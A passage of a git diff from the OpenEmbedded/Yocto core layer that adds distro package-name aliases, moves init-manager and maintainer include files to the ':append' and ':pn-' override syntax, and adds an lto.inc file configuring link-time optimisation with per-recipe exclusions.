+DISTRO_PN_ALIAS:pn-matchbox-session = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-session-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-terminal = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-theme-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
+DISTRO_PN_ALIAS:pn-matchbox-themes-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-wm = "OpenedHand"
+DISTRO_PN_ALIAS:pn-menu-cache = "OSPDT"
+DISTRO_PN_ALIAS:pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-meta-environment-extsdk-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-ide-support = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-toolchain = "OE-Core"
+DISTRO_PN_ALIAS:pn-mini-x-session = "OSPDT"
+DISTRO_PN_ALIAS:pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
+DISTRO_PN_ALIAS:pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mmc-utils = "OE-Core"
+DISTRO_PN_ALIAS:pn-modutils-initscripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
+DISTRO_PN_ALIAS:pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
+DISTRO_PN_ALIAS:pn-neard = "Intel"
+DISTRO_PN_ALIAS:pn-neon = "Fedora=neon Opensuse=neon"
+DISTRO_PN_ALIAS:pn-network-suspend-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-nfs-export-root = "OpenedHand"
+DISTRO_PN_ALIAS:pn-npth = "OSPDT"
+DISTRO_PN_ALIAS:pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-ofono = "Debian=ofono Ubuntu=ofono"
+DISTRO_PN_ALIAS:pn-oh-puzzles = "OpenedHand"
+DISTRO_PN_ALIAS:pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
+DISTRO_PN_ALIAS:pn-opkg-arch-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-collateral = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-os-release = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-buildessential = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-device-devel = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-eclipse-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-nfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-dropbear = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-openssh = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-standalone-sdk-target = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-profile = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-testapps = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-mini = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-xserver = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-sdk-host = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-self-hosted = "OE-Core"
+DISTRO_PN_ALIAS:pn-package-index = "OE-Core"
+DISTRO_PN_ALIAS:pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
+DISTRO_PN_ALIAS:pn-perf = "OSPDT"
+DISTRO_PN_ALIAS:pn-piglit = "OE-Core"
+DISTRO_PN_ALIAS:pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
+DISTRO_PN_ALIAS:pn-pointercal-xinput = "OE-Core"
+DISTRO_PN_ALIAS:pn-pong-clock = "OpenedHand"
+DISTRO_PN_ALIAS:pn-portmap = "Debian=rpcbind Fedora=rpcbind"
+DISTRO_PN_ALIAS:pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
+DISTRO_PN_ALIAS:pn-ppp-dialin = "OE-Core"
+DISTRO_PN_ALIAS:pn-pseudo = "Windriver"
+DISTRO_PN_ALIAS:pn-psplash = "OpenedHand"
+DISTRO_PN_ALIAS:pn-ptest-runner = "OE-Core"
+DISTRO_PN_ALIAS:pn-pulseaudio-client-conf-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
+DISTRO_PN_ALIAS:pn-python3 = "Fedora=python3 Debian=python3.2"
+DISTRO_PN_ALIAS:pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
+DISTRO_PN_ALIAS:pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
+DISTRO_PN_ALIAS:pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
+DISTRO_PN_ALIAS:pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
+DISTRO_PN_ALIAS:pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
+DISTRO_PN_ALIAS:pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
+DISTRO_PN_ALIAS:pn-python-git = "Debian=python-git Fedora=GitPython"
+DISTRO_PN_ALIAS:pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
+DISTRO_PN_ALIAS:pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
+DISTRO_PN_ALIAS:pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
+DISTRO_PN_ALIAS:pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
+DISTRO_PN_ALIAS:pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
+DISTRO_PN_ALIAS:pn-python-smartpm = "Debian=smart OpenSuSE=smart"
+DISTRO_PN_ALIAS:pn-qemu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemugl = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemu-helper = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemuwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-readline = "Fedora=readline Debian=readline-common"
+DISTRO_PN_ALIAS:pn-remake = "Mandriva=remake Debian=remake"
+DISTRO_PN_ALIAS:pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-rpmresolve = "OSPDT"
+DISTRO_PN_ALIAS:pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
+DISTRO_PN_ALIAS:pn-run-postinsts = "OE-Core"
+DISTRO_PN_ALIAS:pn-sato-icon-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sato-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sbc = "Fedora=sbc Debian=libsbc1"
+DISTRO_PN_ALIAS:pn-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-settings-daemon = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
+DISTRO_PN_ALIAS:pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
+DISTRO_PN_ALIAS:pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shutdown-desktop = "OpenedHand"
+DISTRO_PN_ALIAS:pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
+DISTRO_PN_ALIAS:pn-stat = "Debian=coreutils Fedora=coreutils"
+DISTRO_PN_ALIAS:pn-stress = "Debian=stress Fedora=stress"
+DISTRO_PN_ALIAS:pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
+DISTRO_PN_ALIAS:pn-sysprof = "Fedora=sysprof Debian=sysprof"
+DISTRO_PN_ALIAS:pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-systemd-systemctl = "OE-Core"
+DISTRO_PN_ALIAS:pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-systemtap-uprobes = "Ubuntu=systemtap Debian=systemtap"
+DISTRO_PN_ALIAS:pn-sysvinit-inittab = "OE-Core"
+DISTRO_PN_ALIAS:pn-tar-replacement = "Fedora=tar Ubuntu=tar"
+DISTRO_PN_ALIAS:pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
+DISTRO_PN_ALIAS:pn-texinfo-dummy-native = "OE-Core"
+DISTRO_PN_ALIAS:pn-tiny-init = "OSPDT"
+DISTRO_PN_ALIAS:pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
+DISTRO_PN_ALIAS:pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
+DISTRO_PN_ALIAS:pn-tzcode = "OSPDT"
+DISTRO_PN_ALIAS:pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
+DISTRO_PN_ALIAS:pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
+DISTRO_PN_ALIAS:pn-udev = "Mandriva=udev Fedora=udev"
+DISTRO_PN_ALIAS:pn-udev-extraconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
+DISTRO_PN_ALIAS:pn-unfs-server = "OE-Core"
+DISTRO_PN_ALIAS:pn-uninative-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
+DISTRO_PN_ALIAS:pn-update-rc.d = "OE-Core"
+DISTRO_PN_ALIAS:pn-usbinit = "OE-Core"
+DISTRO_PN_ALIAS:pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
+DISTRO_PN_ALIAS:pn-v86d = "Debian=v86d Ubuntu=v86d"
+DISTRO_PN_ALIAS:pn-waffle = "OE-Core"
+DISTRO_PN_ALIAS:pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
+DISTRO_PN_ALIAS:pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
+DISTRO_PN_ALIAS:pn-weston = "Fedora=weston OpenSuSE=weston"
+DISTRO_PN_ALIAS:pn-weston-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-which = "Mandriva=which Fedora=which"
+DISTRO_PN_ALIAS:pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
+DISTRO_PN_ALIAS:pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
+DISTRO_PN_ALIAS:pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcursor-transparent-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
+DISTRO_PN_ALIAS:pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
+DISTRO_PN_ALIAS:pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
+DISTRO_PN_ALIAS:pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
+DISTRO_PN_ALIAS:pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
+DISTRO_PN_ALIAS:pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
+DISTRO_PN_ALIAS:pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
+DISTRO_PN_ALIAS:pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
+DISTRO_PN_ALIAS:pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
+DISTRO_PN_ALIAS:pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
+DISTRO_PN_ALIAS:pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
+DISTRO_PN_ALIAS:pn-xf86-video-omapfb = "OSPDT"
+DISTRO_PN_ALIAS:pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
+DISTRO_PN_ALIAS:pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
+DISTRO_PN_ALIAS:pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
+DISTRO_PN_ALIAS:pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
+DISTRO_PN_ALIAS:pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
+DISTRO_PN_ALIAS:pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
+DISTRO_PN_ALIAS:pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
+DISTRO_PN_ALIAS:pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xserver-nodm-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
+DISTRO_PN_ALIAS:pn-xuser-account = "OE-Core"
+DISTRO_PN_ALIAS:pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
diff --git a/meta/conf/distro/include/init-manager-mdev-busybox.inc b/meta/conf/distro/include/init-manager-mdev-busybox.inc
index 4e3be14a82..12091cba68 100644
--- a/meta/conf/distro/include/init-manager-mdev-busybox.inc
+++ b/meta/conf/distro/include/init-manager-mdev-busybox.inc
@@ -1,5 +1,5 @@
# enable mdev/busybox for init
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd sysvinit"
VIRTUAL-RUNTIME_dev_manager ??= "busybox-mdev"
VIRTUAL-RUNTIME_init_manager ??= "busybox"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
diff --git a/meta/conf/distro/include/init-manager-systemd.inc b/meta/conf/distro/include/init-manager-systemd.inc
index 1558b85250..7867d90028 100644
--- a/meta/conf/distro/include/init-manager-systemd.inc
+++ b/meta/conf/distro/include/init-manager-systemd.inc
@@ -1,6 +1,7 @@
# Use systemd for system initialization
-DISTRO_FEATURES_append = " systemd"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " sysvinit"
+DISTRO_FEATURES:append = " systemd"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " sysvinit"
VIRTUAL-RUNTIME_init_manager ??= "systemd"
VIRTUAL-RUNTIME_initscripts ??= "systemd-compat-units"
VIRTUAL-RUNTIME_login_manager ??= "shadow-base"
+VIRTUAL-RUNTIME_dev_manager ??= "systemd"
diff --git a/meta/conf/distro/include/init-manager-sysvinit.inc b/meta/conf/distro/include/init-manager-sysvinit.inc
index 6b662d60bb..aa2393944d 100644
--- a/meta/conf/distro/include/init-manager-sysvinit.inc
+++ b/meta/conf/distro/include/init-manager-sysvinit.inc
@@ -1,6 +1,6 @@
# Use sysvinit for system initialization
-DISTRO_FEATURES_append = " sysvinit"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd"
+DISTRO_FEATURES:append = " sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd"
VIRTUAL-RUNTIME_init_manager ??= "sysvinit"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
VIRTUAL-RUNTIME_login_manager ??= "busybox"
diff --git a/meta/conf/distro/include/lto.inc b/meta/conf/distro/include/lto.inc
new file mode 100644
index 0000000000..b8193725a1
--- /dev/null
+++ b/meta/conf/distro/include/lto.inc
@@ -0,0 +1,51 @@
+# To enable LTO, add following in local.conf
+# require conf/distro/include/lto.inc
+# DISTRO_FEATURES:append = " lto"
+#
+
+# Disable LTO for following packages
+LTO:pn-glibc = ""
+LTO:pn-gcc-runtime = ""
+LTO:pn-libgcc-initial = ""
+LTO:pn-libgcc = ""
+LTO:pn-libaio = ""
+LTO:pn-libpam = ""
+LTO:pn-elfutils = ""
+LTO:pn-perl = ""
+LTO:pn-busybox = ""
+LTO:pn-libxcrypt = ""
+LTO:pn-curl = ""
+LTO:pn-libcap = ""
+LTO:pn-libproxy = ""
+LTO:pn-libbsd = ""
+LTO:pn-perf = ""
+# webkit is not linking properly with LTO, disable until next time
+LTO:pn-webkitgtk = ""
+LTO:pn-xserver-xorg = ""
+LTO:pn-grub = ""
+LTO:pn-grub-efi = ""
+
+# Custom LTO flags
+# disable partitioning/streaming algorithm since its uses ASM
+# constructs not compatible with lto
+LTOEXTRA:pn-alsa-lib = "-flto-partition=none"
+
+LTOEXTRA ?= ""
+
+# Override it for additional or different options if needed e.g.
+# with clang thin-lto might be better for compile speed
+#
+# ffat-lto-objects
+# object files that contain both the intermediate
+# language and the object code. This makes them
+# usable for both LTO linking and normal linking
+#
+# -fuse-linker-plugin
+# ensures that libraries participate in LTO by supplying intermediate
+# code from .a files to linker
+LTO ?= "-flto -ffat-lto-objects -fuse-linker-plugin ${LTOEXTRA}"
+
+SELECTED_OPTIMIZATION:append = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+TARGET_LDFLAGS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+
+SELECTED_OPTIMIZATION[vardeps] += "LTO LTOEXTRA"
diff --git a/meta/conf/distro/include/maintainers.inc b/meta/conf/distro/include/maintainers.inc
index d85e5b697f..9ef7e206eb 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -2,9 +2,9 @@
#
# This file contains a list of recipe maintainers.
#
-# Please submit any patches against recipes in meta to the
+# Please submit any patches against recipes in meta to the
# OE-Core mail list (openembedded-core@lists.openembedded.org)
-# For recipes in meta-yocto please use the Poky list (poky@yoctoproject.org)
+# For recipes in meta-yocto please use the Poky list (poky@lists.yoctoproject.org)
#
# If you have problems with or questions about a particular recipe, feel
# free to contact the maintainer directly (cc:ing the appropriate mailing list
@@ -23,754 +23,830 @@
#
# The format is as a bitbake variable override for each recipe
#
-# RECIPE_MAINTAINER_pn-<recipe name> = "Full Name <address@domain>"
+# RECIPE_MAINTAINER:pn-<recipe name> = "Full Name <address@domain>"
#
# Please keep this list in alphabetical order.
#
-RECIPE_MAINTAINER_pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-acpica = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-acpid = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-adwaita-icon-theme = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-alsa-lib = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-plugins = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-state = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-tools = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils-scripts = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-apmd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apt = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-apt-native = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-assimp = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-at = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-at-spi2-atk = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-at-spi2-core = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-atk = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-avahi-ui = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bind = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-bjam-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bmap-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-btrfs-tools = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-build-compare = "Paul Eggleton <paul.eggleton@linux.intel.com>"
-RECIPE_MAINTAINER_pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-busybox = "Andrej Valek <andrej.valek@siemens.com>"
-RECIPE_MAINTAINER_pn-busybox-inittab = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-bzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
